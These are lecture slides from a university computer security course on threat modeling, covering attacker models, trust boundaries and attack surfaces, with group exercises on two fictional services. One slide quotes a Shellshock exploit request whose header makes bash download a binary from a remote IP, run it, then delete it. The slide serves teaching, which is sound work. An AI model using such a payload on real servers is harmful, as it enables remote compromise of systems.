CSE 127: Computer Security
Threat Modeling

Kirill Levchenko

October 16, 2014
Threat Modeling

❖ **Attacker model:** Goals and capabilities of potential attackers on a system
  • There may be several attacker models

❖ **Threat model:** Potential attacks on a system
  • Does not need to be successful to be a potential attack
  • Identify gain or loss from attack to both defender and attacker
  • Identify cost of attack to both defender and attacker
Threat Modeling

- To do this effectively you need to look inside system
- Identify trust boundaries and security assumptions

Trust boundary: Boundary between components with different assumed security properties

Attack surface: Part of system exposed to attacker
  - Points which may be attacked
Vulnerability, Exploit, Attack

- **Vulnerability**: flaw in design or implementation allowing an attacker to violate security policy
- **Exploit**: Input or action that exploits vulnerability to violate a security property
- **Attack**: An attempt to violate a security property
What is the vulnerability in the shellshock case?

- `bash` executes contents of environment variables
- Other programs store untrusted input in environment

What is the exploit?

- GET /cgi-bin/test.sh HTTP/1.0
  User-Agent: ()
  /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /
  var/tmp/ec.z*"

What is the attack?
Let’s Try It!

- Divide into two groups: A (bit 0) and B (bit 1)
- First 30 minutes: Group A is attacker, B is defender
- Last 30 minutes: Group A is defender, B is attacker
Viddr

- Real-time video chat between two people running client
- Users register with email address and create password
  - Account used to login to client
B: What is the security policy?

B: Who are the potential attackers?
   • What do they want?
   • What resources do they have?

A: Who are the potential attackers?
   • What do they want?
   • What resources do they have?
Vidadr Architecture

Client A

Control server

Web server

DB server

Client B

video stream
A&B: What are the trust boundaries?
B: What is the security mechanism?
A: What are the threats?
B: How do you mitigate?
Faxemaily

- Send faxes via email
  - User sends PDF via email to special address
  - Subject contains fax number of recipient

- Receive faxes via email
  - Each user gets their own fax number in area code of their choice
  - Faxes sent to the number emailed to user
  - Subject contains sender’s fax number

- Register using email address and password
  - Also choose number in area code
A: What is the security policy?

B: Who are the potential attackers?
• What do they want?
• What resources do they have?
Faxemaily Architecture

Diagram:
- User
- Web server
- DB server
- Email server
- Fax machine

Connections:
- User to Web server
- User to Email server
- Web server to DB server
- Email server to Fax machine
Faxemaily

- **A&B**: What are the trust boundaries?
- **A**: What is the security mechanism?
- **B**: What are the threats?
- **A**: How do you mitigate?